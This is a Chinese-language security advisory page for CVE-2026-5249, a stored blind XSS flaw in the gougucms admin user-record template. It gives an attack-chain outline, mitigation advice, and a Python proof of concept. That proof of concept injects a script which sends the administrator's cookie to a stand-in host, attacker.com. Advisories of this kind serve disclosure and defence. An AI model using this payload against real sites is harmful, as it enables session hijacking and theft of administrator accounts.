IPBUF安全漏洞报告
English
CVE-2026-5249 CVSS 3.5 低危

CVE-2026-5249 gougucms 存储型XSS漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-5249
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
gougucms

相关标签

XSS跨站脚本gougucmsBlind XSSWeb安全低危漏洞

漏洞概述

gougucms 4.08.18版本被发现存在一处跨站脚本(XSS)漏洞。该漏洞源于Record Endpoint组件的record.html文件中,对用户输入的`value.content`参数处理不当。攻击者可利用此漏洞,诱导管理员或其他用户访问包含恶意脚本的页面,从而窃取Cookie或执行恶意操作。由于该漏洞可被远程利用且已有公开的Exploit代码,尽管CVSS评分较低,但潜在的安全隐患不容忽视。

技术细节

该漏洞的技术核心在于gougucms的后台管理视图模板未能对输出数据进行充分的HTML实体编码。具体而言,位于`\gougucms-master\app\admin\view\user\record.html`的Record Endpoint组件中,系统直接将用户提交的`value.content`参数值渲染到页面响应中,未经过滤或转义。攻击者可以通过构造包含恶意JavaScript代码的HTTP请求,将代码注入至该参数。由于该组件位于后台且需要低权限(PR:L)访问,攻击者通常先注册账户或获取低权限账号,提交恶意内容。当管理员或高权限用户后续在后台查看该用户记录时,恶意脚本自动触发。这种攻击方式常被称为Blind XSS,攻击者无法直接看到执行结果,但可通过外带数据窃取敏感信息。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者注册一个普通用户账号或获取一个低权限账户(PR:L),以便访问Record Endpoint组件。
STEP 2
步骤2:构造并注入Payload
攻击者构造包含恶意JavaScript代码的数据包,通过修改`value.content`参数,将XSS Payload发送至服务器并存储在数据库中。
STEP 3
步骤3:诱导受害者访问
攻击者等待或诱导管理员(高权限用户)登录后台管理系统,并访问受影响的用户记录页面(UI:R)。
STEP 4
步骤4:执行恶意代码
当管理员加载该页面时,存储的恶意脚本在浏览器中解析执行,窃取Session Cookie或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Adjust based on actual installation path) target_url = "http://target.com/index.php/admin/user/record.html" # Attacker controlled server to collect data callback_url = "http://attacker.com/collect" # Malicious payload to be injected into value.content # This payload steals the administrator's cookie and sends it to the attacker xss_payload = f"<script>fetch('{callback_url}?c='+encodeURIComponent(document.cookie))</script>" # Data payload targeting the vulnerable parameter # The parameter name 'value.content' is derived from the vulnerability description post_data = { "value.content": xss_payload, "id": "1" # Assuming an ID is needed to update the record } # Cookies for a low-privilege user (Authentication required: PR:L) cookies = { "PHPSESSID": "valid_low_privilege_session_id" } try: # Send the malicious request response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[*] Wait for an administrator to view the user record page.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

gougucms 4.08.18

防御指南

临时缓解措施
建议管理员暂时禁用用户记录查看功能或严格限制后台访问IP。开发者应手动修改`\app\admin\view\user\record.html`文件,在输出`value.content`变量时使用PHP的`htmlspecialchars()`函数进行转义。同时,部署Web应用防火墙(WAF)规则以拦截针对该参数的XSS攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表